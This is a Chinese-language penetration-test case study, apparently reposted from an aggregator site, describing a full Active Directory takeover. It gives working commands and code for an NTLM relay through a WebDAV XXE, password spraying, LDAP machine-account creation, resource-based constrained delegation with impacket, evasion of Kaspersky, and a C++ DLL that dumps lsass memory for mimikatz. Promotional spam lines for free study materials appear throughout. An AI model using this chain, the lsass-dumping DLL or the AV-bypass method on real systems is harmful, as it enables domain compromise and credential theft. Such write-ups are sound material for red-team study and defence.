NTLM身份驗(yàn)證是基于質(zhì)詢響應(yīng)的協(xié)議，服務(wù)器發(fā)送一個(gè)質(zhì)詢，客戶端對(duì)這個(gè)質(zhì)詢進(jìn)行回復(fù)。如果質(zhì)詢與服務(wù)器計(jì)算的質(zhì)詢匹配，則接受身份驗(yàn)證。

知道了NTLM身份認(rèn)證的大致流程，我們?cè)賮碚fNTLM中繼，如下圖所示，如果我們可以讓Client A 向我們的Evil Server X，發(fā)起NTLM認(rèn)證，那么我們就可以拿Client A的身份驗(yàn)證信息去向Server B進(jìn)行認(rèn)證，這便是ntlm中繼。看到這里你會(huì)覺得說了那么多不就是中間人攻擊么，對(duì)就是中間人攻擊。

知道了NTLM中繼，結(jié)合Java WEBDAV XXE的作用，利用HTTP 401的認(rèn)證，我們可以直接利用WEBDAV服務(wù)器的憑據(jù)向域控發(fā)起認(rèn)證，讓域控以為我們是WEBDAV服務(wù)器。

在域中增加機(jī)器賬戶
在這里可能有同學(xué)有疑問了，前面不是提了中繼么？為什么不用Ghidra 從 XXE 到 RCE和Ghost Potato里提到的方式去Relay回自身調(diào)用RPC進(jìn)行相關(guān)操作，還要增加機(jī)器賬戶呢？因?yàn)檫@個(gè)WEBDAV服務(wù)是system權(quán)限運(yùn)行的，而system賬戶做Relay時(shí)是用機(jī)器賬戶去請(qǐng)求的，沒有辦法去調(diào)高權(quán)限RPC接口，所有這里不能直接Relay回自身調(diào)用RPC。

既然不能直接Relay回自身調(diào)用RPC，我們換一種思路，用基于資源約束委派一樣可以獲取權(quán)限。白嫖的福音網(wǎng)安學(xué)習(xí)資料》》

在通過基于資源約束委派進(jìn)行利用時(shí)，需要有一個(gè)機(jī)器賬戶來配合（這里說法其實(shí)不太準(zhǔn)確，應(yīng)該是需要一個(gè)具有SPN的賬戶，更詳細(xì)的說是需要一個(gè)賬戶的TGT，而一個(gè)機(jī)器賬戶來代替前面的說法，是因?yàn)闄C(jī)器賬戶默認(rèn)具有一些SPN，這些SPN包含了我們后面會(huì)用到的cifs等，這里就不細(xì)說了，不然又是一篇文章了，后面統(tǒng)一用機(jī)器賬戶來描述），而默認(rèn)域控的ms-DS-MachineAccountQuota屬性設(shè)置允許所有域用戶向一個(gè)域添加多達(dá)10個(gè)計(jì)算機(jī)帳戶，就是說只要有一個(gè)域憑據(jù)就可以在域內(nèi)任意添加機(jī)器賬戶。這個(gè)憑據(jù)可以是域內(nèi)的用戶賬戶、服務(wù)賬戶、機(jī)器賬戶。

那么問題又來了，既然需要一個(gè)機(jī)器賬戶，前面提到的

system賬戶做Relay時(shí)是用機(jī)器賬戶去請(qǐng)求

這個(gè)地方說的機(jī)器賬戶，也就是我們文中的WEBDAV服務(wù)器的機(jī)器賬戶，為什么不用這個(gè)機(jī)器賬戶，要自己去增加一個(gè)呢？了解基于資源約束委派的同學(xué)應(yīng)該知道，我們需要用機(jī)器賬戶去申請(qǐng)TGT票據(jù)，但是我們?nèi)绻肳EBDAV服務(wù)器的機(jī)器賬戶，我們不知道這個(gè)機(jī)器賬戶的密碼或者h(yuǎn)ash。沒有辦法去申請(qǐng)TGT。如果是我們創(chuàng)建的機(jī)器賬戶，我們是知道密碼的，這樣才能去申請(qǐng)TGT了，這里就不在深入繼續(xù)分析了，里面涉及到的過程極其復(fù)雜，有興趣的同學(xué)可以自行學(xué)習(xí)。

回歸正題，我們?cè)趺丛谟蛑腥?chuàng)建一個(gè)機(jī)器賬戶。

我們把在之前的discuz數(shù)據(jù)庫(kù)中的用戶名整理成字典，并通過kerberos AS_REQ返回包來判斷用戶名是否存在。

接下來將discuz的密碼拿到cmd5上批量解密，解密后發(fā)現(xiàn)大部分用戶的登錄密碼都是P@ssw0rd，于是使用密碼噴射(一個(gè)密碼和不同用戶名的組合去KDC枚舉) ，成功獲取到了一個(gè)域憑據(jù)n0thing@blueteam.com:P@ssw0rd

有了域憑據(jù)后就能連接域控ldap添加機(jī)器賬戶了，不得不說.net真是個(gè)好語言，用System.DirectoryServices.Protocols這個(gè)東西很輕松就能實(shí)現(xiàn)該功能。

... //連接ldap System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389); NetworkCredential nc = new NetworkCredential(username, password); //使用憑據(jù)登錄 System.DirectoryServices.Protocols.LdapConnection connection = null;connection = new System.DirectoryServices.Protocols.LdapConnection(identifier,nc);connection.SessionOptions.Sealing = true; connection.SessionOptions.Signing = true; connection.Bind();var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] { new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account +"."+ Domain), new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account), new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"), new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")), new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"), new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/"+machine_account+"."+Domain,"RestrictedKrbHost/"+machine_account+"."+Domain,"HOST/"+machine_account,"RestrictedKrbHost/"+machine_account)connection.SendRequest(request); Console.WriteLine("[+] Machine account: " + machine_account + " Password: "+ new_MachineAccount_password + " added"); ...

有細(xì)心的同學(xué)看到這里可能會(huì)想: “用xxe中繼到域控的ldap然后添加一個(gè)機(jī)器賬戶不是美滋滋? 哪需要這么花里胡哨的！”。但是域控不允許在未加密的連接上創(chuàng)建計(jì)算機(jī)帳戶，這里關(guān)于加密涉及到tls/ssl和sasl，又是一堆的知識(shí)，這里就不細(xì)聊了。

用.net寫的小工具很輕松地添加上了一個(gè)機(jī)器賬戶。

現(xiàn)在我們有了機(jī)器賬戶，接下來就利用基于資源的約束委派。

基于資源的約束委派

Windows Server 2012中新加入了基于kerberos資源的約束委派(rbcd)，與傳統(tǒng)的約束委派相比，它 不再需要域管理員對(duì)其進(jìn)行配置，可以直接在機(jī)器賬戶上配置msDS-AllowedToActOnBehalfOfOtherIdentity屬性來設(shè)置基于資源的約束委派。此屬性的作用是控制哪些用戶可以模擬成域內(nèi)任意用戶，然后向該計(jì)算機(jī)(dev2)進(jìn)行身份驗(yàn)證。簡(jiǎn)而言之： 如果我們可以修改該屬性那么我們就能拿到一張域管理員的票據(jù)，但該票據(jù)只對(duì)這臺(tái)機(jī)器(dev2)生效，然后拿這張票據(jù)去對(duì)這臺(tái)機(jī)器(dev2)進(jìn)行認(rèn)證（這里只是簡(jiǎn)單描述，可能不太準(zhǔn)確，還是那句話基于資源的約束委派整個(gè)過程細(xì)節(jié)及其復(fù)雜，筆者也不敢說掌握全部細(xì)節(jié)）。

現(xiàn)在我們開始實(shí)際操作，首先在我們的VPS上利用impacket工具包中的ntlmrelayx.py工具監(jiān)聽。

./ntlmrelayx.py -t ldap://ad1.blueteam.com -debug -ip 192.168.20.140 --delegate-access --escalate-user evilpc\$

然后用xxe請(qǐng)求我們的VPS，接著將憑據(jù)中繼到域控服務(wù)器的LDAP服務(wù)上設(shè)置基于資源約束委派。

再用s4u協(xié)議申請(qǐng)高權(quán)限票據(jù)。

python getST.py -dc-ip ad1.blueteam.com blueteam/evilpc\$:123456 -spn cifs/dev1.blueteam.com -impersonate administrator

獲得服務(wù)票據(jù)以后就可以直接登錄WEBDAV服務(wù)器了

export KRB5CCNAME=administrator.ccache python smbexec.py -no-pass -k dev1.blueteam.com

整個(gè)RCE過程到此結(jié)束了，但是還沒有拿下域控，滲透任務(wù)還沒有結(jié)束，先上一個(gè)GIF演示整個(gè)RCE過程，接下來再講怎么拿下域控。

卡巴斯基的對(duì)抗

其實(shí)拿下域控的過程很常規(guī)，就是在WEBDAV服務(wù)器上抓到了域管理員的賬戶密碼。但是這里難點(diǎn)是卡巴斯基的對(duì)抗，繞不過你就拿不到域管理員的賬戶密碼。

這里安裝的卡巴斯基全方位防護(hù)版來進(jìn)行測(cè)試。

1. 繞過卡巴斯基橫向移動(dòng)
在真實(shí)場(chǎng)景中并不會(huì)像本地環(huán)境一樣順利，當(dāng)我們拿到一張高權(quán)限票據(jù)后準(zhǔn)備對(duì)dev2機(jī)器進(jìn)行pass the ticket時(shí)存在卡巴斯基怎么辦呢？常規(guī)的smbexec.py會(huì)被攔截的。

我們這里的繞過方法是用smb上傳一個(gè)beacon再通過創(chuàng)建啟動(dòng)服務(wù)執(zhí)行beacon全程無攔截，當(dāng)然beacon.exe需要進(jìn)行免殺處理。

2. 繞過卡巴斯基抓lsass中的密碼
我想最糟心的事情莫過于知道域管理員登錄過這臺(tái)機(jī)器，但卻沒有辦法抓密碼。下面將介紹如何解決這個(gè)問題。相信在紅隊(duì)行動(dòng)中遇到卡巴斯基的小伙伴不少，也知道他對(duì)防止從lsass中抓取密碼做的是多么的變態(tài)。即使你使用微軟簽名的內(nèi)存dump工具也會(huì)被攔截，更不用說什么mimikatz了。

偶然在國(guó)外大佬博客上看到了一篇通過RPC調(diào)用添加一個(gè)SSP dll的文章Exploring Mimikatz - Part 2 - SSP，突然醍醐灌頂，lsass自身絕對(duì)可以讀自己內(nèi)存呀，加載dll到lsass進(jìn)程然后dump內(nèi)存不是就可以繞過了？ 不禁感嘆：站在巨人肩膀上看到的世界果然更為遼闊。

下載編譯這個(gè)代碼ssp_dll.c 然后再寫一個(gè)dump 進(jìn)程內(nèi)存的dll。

#include <cstdio> #include <windows.h> #include <DbgHelp.h> #include <iostream> #include <TlHelp32.h> #pragma comment(lib,"Dbghelp.lib") typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(ULONG Privilege, BOOL Enable,BOOL CurrentThread, PULONG Enabled);int dump() {HRESULT hr;_MiniDumpW MiniDumpW;_RtlAdjustPrivilege RtlAdjustPrivilege;ULONG t;MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");if (MiniDumpW == NULL) {return 0;}// try enable debug privilegeRtlAdjustPrivilege(20, TRUE, FALSE, &t);wchar_t ws[100];swprintf(ws, 100, L"%hs", "784 c:\\1.bin full"); //784是lsass進(jìn)程的pid號(hào) "<pid> <dump.bin> full" MiniDumpW(0, 0, ws);return 0;}BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {switch (ul_reason_for_call) {case DLL_PROCESS_ATTACH:dump();break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE; }

這樣就繞過了卡巴斯基dump到了lsass的內(nèi)存了。

最后本地導(dǎo)入mimikatz的常規(guī)操作就不細(xì)說了，上幾個(gè)截圖。

mimikatz # sekurlsa::minidump 1.bin mimikatz # sekurlsa::logonPasswords full

到此是真的要結(jié)束了，有域管理員的賬戶密碼，怎么拿下域控，我相信這個(gè)不用多說了。

總結(jié)

我們回顧一下，從discuz到xxe，從xxe到域控，整個(gè)過程我們?cè)谡鎸?shí)的滲透過程中其實(shí)沒有花費(fèi)太多時(shí)間，可能得益于平時(shí)的積累。針對(duì)此次滲透，我們還是收獲滿滿，希望你也是。

最后最后白嫖網(wǎng)安學(xué)習(xí)資料！！！

總結(jié)

以上是生活随笔為你收集整理的“不一样”的真实渗透测试案例分析的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。